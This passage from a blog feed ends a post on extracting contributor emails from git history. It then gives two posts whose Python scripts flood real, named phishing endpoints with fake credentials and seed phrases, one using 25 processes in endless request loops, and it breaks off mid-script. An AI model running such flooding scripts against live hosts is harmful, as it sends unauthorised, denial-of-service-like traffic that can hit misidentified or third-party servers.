</blockquote><p>The output from the previous command is piped into <code>awk '{print tolower($0)}'</code>, which lowercases all the emails. Sometimes emails are typed in with capital letters. Lowercasing all characters will help with sorting and finding unique emails later.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">anotheruser@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">1234567+someoneelse@users.noreply.github.com
</span></span></code></pre></td></tr></table>
</blockquote><p>After that, the output is piped into <code>sort</code> and <code>uniq</code>. These commands are straightforward. The emails are sorted alphabetically, then duplicates are excluded from the output.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1234567+someoneelse@users.noreply.github.com
</span></span><span class="line"><span class="cl">anotheruser@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span></code></pre></td></tr></table>
</blockquote><p>That should suffice for a lot of git repos, but I also added <code>grep -wv 'users.noreply.github.com'</code> to the end of the command to exclude noreply emails associated with GitHub.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq <span class="p">|</span> grep -wv <span class="s1">&#39;users.noreply.github.com&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">anotheruser@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="extracting-emails-with-git-log">Extracting Emails With <code>git log</code></h2>
<p>It&rsquo;s possible to do something similar with the <code>git log --pretty=&quot;%ce&quot;</code> command. However, I noticed that this command does not show as many emails as <code>git shortlog</code>. I didn&rsquo;t look too much into it, but I believe it only pulls emails from one branch rather than all branches like with <code>git shortlog --all</code>.</p>
<h2 id="references">References</h2>
<p>I learned about <code>git shortlog</code> from this Stack Overflow question:</p>
<ul>
<li>

<a href="https://stackoverflow.com/questions/9597410/list-all-developers-on-a-project-in-git" target="_blank" rel="noopener">https://stackoverflow.com/questions/9597410/list-all-developers-on-a-project-in-git</a></li>
</ul>
<p>I got the email regex from here:</p>
<ul>
<li>

<a href="https://www.shellhacks.com/regex-find-email-addresses-file-grep/" target="_blank" rel="noopener">https://www.shellhacks.com/regex-find-email-addresses-file-grep/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Using Python to Flood Scammers with Fake Passwords</title>
      <link>https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/?ref=rss</link>
      <pubDate>Sat, 02 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/?ref=rss</guid>
      <description>Creating a python script to flood scammers with fake credentials.</description><content:encoded><![CDATA[<h2 id="phishing-attempt-via-text-message">Phishing Attempt via Text Message</h2>
<p>Today, I received this text message that is obviously a phishing attempt:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/scam-text.webp" alt="Fake text received from scammers." width="720" height="351" style="max-width: 100%; height: auto; aspect-ratio: 888 / 434;" loading="lazy" decoding="async">
<br>
<p>I was curious, so I went ahead and checked out the site. It was a mediocre attempt at recreating the actual site.</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/phishing-site.webp" alt="The fake Citi bank phishing site." width="720" height="377" style="max-width: 100%; height: auto; aspect-ratio: 3570 / 1874;" loading="lazy" decoding="async">
<br>
<p>I opened my browser&rsquo;s dev tools to capture network activity. Then I submitted some made up credentials. Unsurprisingly, they didn&rsquo;t work:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/sign-in-fail.webp" alt="Failed sign in on the phishing site." width="720" height="286" style="max-width: 100%; height: auto; aspect-ratio: 1036 / 412;" loading="lazy" decoding="async">
<br>
<p>In the dev tools, I checked the headers tab to see that the requests were actually going to <code>https://toys-store.site/citi.php</code>:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/request-headers.webp" alt="Request headers showing where requests were being sent." width="720" height="333" style="max-width: 100%; height: auto; aspect-ratio: 2444 / 1132;" loading="lazy" decoding="async">
<br>
<p>I could also see my credentials in the payload:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/request-payload.webp" alt="Request payload showing fake credentials submitted." width="720" height="334" style="max-width: 100%; height: auto; aspect-ratio: 2446 / 1136;" loading="lazy" decoding="async">
<br>
<p>With this information, I could create a Python script to flood the scammers with fake credentials. This way, they won&rsquo;t know what credentials are valid when using them themselves.</p>
<h2 id="creating-a-python-script">Creating a Python Script</h2>
<p>My plan was to create a loop that would continuously send POST requests to the scammer site.
I wanted to speed up the amount of <code>POST</code> requests I could send at a time. I came across the 

<a href="https://docs.python.org/3/library/multiprocessing.html" target="_blank" rel="noopener">multiprocessing</a> package that could help me with that.
I also planned on using 

<a href="https://faker.readthedocs.io/" target="_blank" rel="noopener">Faker</a> to dynamically generate credentials.</p>
<p>I came up with the following code:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">multiprocessing</span> <span class="kn">import</span> <span class="n">Process</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://toys-store.site/citi.php&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># use the same request headers shown in the browser dev tools under the &#39;Network&#39; tab</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;*/*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.9&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="s2">&#34;69&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded; charset=UTF-8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;toys-store.site&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mobilecitiauthorization.dns2.us&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mobilecitiauthorization.dns2.us/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;cross-site&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># infinite loop to send requests</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">send_post_request</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># dynamically generate request payload using Faker</span>
</span></span><span class="line"><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;usr&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;username&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;pwd&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;login&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;apitoken&#34;</span><span class="p">:</span> <span class="s2">&#34;o7y4jat0p65kd4h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># send post request with payload and headers</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># extract time from response headers to make it easier to see when requests are sent in the CLI</span>
</span></span><span class="line"><span class="cl">        <span class="n">time</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Date&#34;</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)[</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">time</span><span class="si">}</span><span class="s2"> -- Request sent. Status Code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># starts 25 different processes running this code</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">25</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">Process</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">send_post_request</span><span class="p">)</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Info:</strong></p><p><code>fake.simple_profile()</code> from the <code>payload</code> dictionary generates a dictionary containing user information. I am only using the username portion in this case.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="p">{</span><span class="s1">&#39;username&#39;</span><span class="p">:</span> <span class="s1">&#39;ywarren&#39;</span><span class="p">,</span> <span class="s1">&#39;name&#39;</span><span class="p">:</span> <span class="s1">&#39;Patricia Lyons&#39;</span><span class="p">,</span> <span class="s1">&#39;sex&#39;</span><span class="p">:</span> <span class="s1">&#39;F&#39;</span><span class="p">,</span> <span class="s1">&#39;address&#39;</span><span class="p">:</span> <span class="s1">&#39;2910 Smith Islands Suite 134</span><span class="se">\n</span><span class="s1">Rogerschester, SC 47471&#39;</span><span class="p">,</span> <span class="s1">&#39;mail&#39;</span><span class="p">:</span> <span class="s1">&#39;joel67@gmail.com&#39;</span><span class="p">,</span> <span class="s1">&#39;birthdate&#39;</span><span class="p">:</span> <span class="n">datetime</span><span class="o">.</span><span class="n">date</span><span class="p">(</span><span class="mi">1984</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">20</span><span class="p">)}</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>I ran the script and left it running for a while. The time being printed out is extracted from the response headers. This way I could easily see requests as they&rsquo;re being sent in the CLI:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/cli-output.webp" alt="CLI output of requests being sent with fake credentials." width="720" height="490" style="max-width: 100%; height: auto; aspect-ratio: 1620 / 1104;" loading="lazy" decoding="async">
<p>It&rsquo;s not easy to tell in a screenshot, but with the <code>multiprocessing</code> package I was able to speed up the process of sending post requests. My terminal was filling up pretty quickly.</p>
<p>I hope I made the scammers&rsquo; lives more difficult as a result of this. I also reported the domains being used so that they are hopefully flagged by browsers in the future.</p>
<p>If you enjoyed this, I previously did something similar to mess with some MetaMask scammers: 

<a href="https://nelson.cloud/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Retaliating Against MetaMask Scammers With Python</title>
      <link>https://nelson.cloud/retaliating-against-metamask-scammers-with-python/?ref=rss</link>
      <pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/retaliating-against-metamask-scammers-with-python/?ref=rss</guid>
      <description>Using Python to send fake seed phrases to a MetaMask scam site.</description><content:encoded><![CDATA[<h2 id="reconnaissance">Reconnaissance</h2>
<p>Recently, I received this email:</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-email.webp" alt="fake metamask email" width="720" height="482" style="max-width: 100%; height: auto; aspect-ratio: 1190 / 798;" loading="lazy" decoding="async">
<p>I have never used MetaMask. It was pretty obvious this was a scam. I decided to check it out anyway out of curiosity.
It led me to this site which looked legit but had a major flaw: there is no domain and I&rsquo;m accessing an insecure IP address.</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-site.webp" alt="fake metamask site" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3268 / 2103;" loading="lazy" decoding="async">
<p>Still curious, I followed along and clicked on &ldquo;Start verification process&rdquo;. In the next page, there was a text field prompting me to input my seed phrase:</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-input-field.webp" alt="fake metamask input field for seed phrases" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3264 / 2101;" loading="lazy" decoding="async">
<p>So I submitted 12 random words and used the browser dev tools to figure out where my seed phrase was being sent to.</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-submission.webp" alt="fake metamask post-submission page" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3262 / 2099;" loading="lazy" decoding="async">
<p>It looks like my fake seed phrase is being sent to <code>/log.php</code> as a query string through a <code>GET</code> request. I wanted to make these scammers pay somehow.
I figured I could come up with a quick script to slam this endpoint with random seed phrases to waste their time.</p>
<p>To make my made up seed phrases look more legitimate, I needed to find out if the words in seed phrases have certain limits or if they come from a pool of words. I want the scammers to try every single phrase I submit only to find out that they don&rsquo;t work.</p>
<p>After doing some reading from the official 

<a href="https://metamask.zendesk.com/hc/en-us/articles/4404722782107-User-Guide-Secret-Recovery-Phrase-password-and-private-keys#h_01FYVAXJQT914HCHEYFPNMEJEA" target="_blank" rel="noopener">MetaMask site</a>, I saw this:</p>
<img src="/retaliating-against-metamask-scammers/metamask-documentation.webp" alt="metamask documentation" width="720" height="305" style="max-width: 100%; height: auto; aspect-ratio: 1724 / 732;" loading="lazy" decoding="async">
<p>So there&rsquo;s a specific list of words that seed phrases are generated from and I have a direct link to them. This was perfect. I could use this list of words in my script:</p>
<ul>
<li>

<a href="https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt" target="_blank" rel="noopener">https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</a></li>
</ul>
<h2 id="scripting-time">Scripting Time</h2>
<p>I came up with a Python script that takes the list of words from the GitHub link, generates a 12 word seed phrase, and sends a <code>GET</code> request to the scammer URL along with the seed phrase as a query string:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_PHRASE_WORDS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># getting list of 12 random words</span>
</span></span><span class="line"><span class="cl"><span class="n">seed_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">SEED_PHRASE_WORDS</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># joining the list of 12 words into a single string</span>
</span></span><span class="line"><span class="cl"><span class="n">seed_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">seed_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl"><span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;send_words&#34;</span><span class="p">:</span> <span class="n">seed_phrase</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sending GET request</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://176.113.115.238/38sy2a0egs6zhxv/log.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Sent phrase: </span><span class="si">{</span><span class="n">seed_phrase</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I ran this and it worked:</p>
<img src="/retaliating-against-metamask-scammers/script-output.webp" alt="script output" width="720" height="65" style="max-width: 100%; height: auto; aspect-ratio: 1468 / 134;" loading="lazy" decoding="async">
<p>The final step was to put this on a loop and leave it running for a very long time. I added a <code>while</code> loop. This is what the updated code looks like:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_PHRASE_WORDS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># getting list of 12 random words</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">SEED_PHRASE_WORDS</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># joining the list of 12 words into a single string</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">seed_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl">    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;send_words&#34;</span><span class="p">:</span> <span class="n">seed_phrase</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># sending GET request</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://176.113.115.238/38sy2a0egs6zhxv/log.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Sent phrase: </span><span class="si">{</span><span class="n">seed_phrase</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
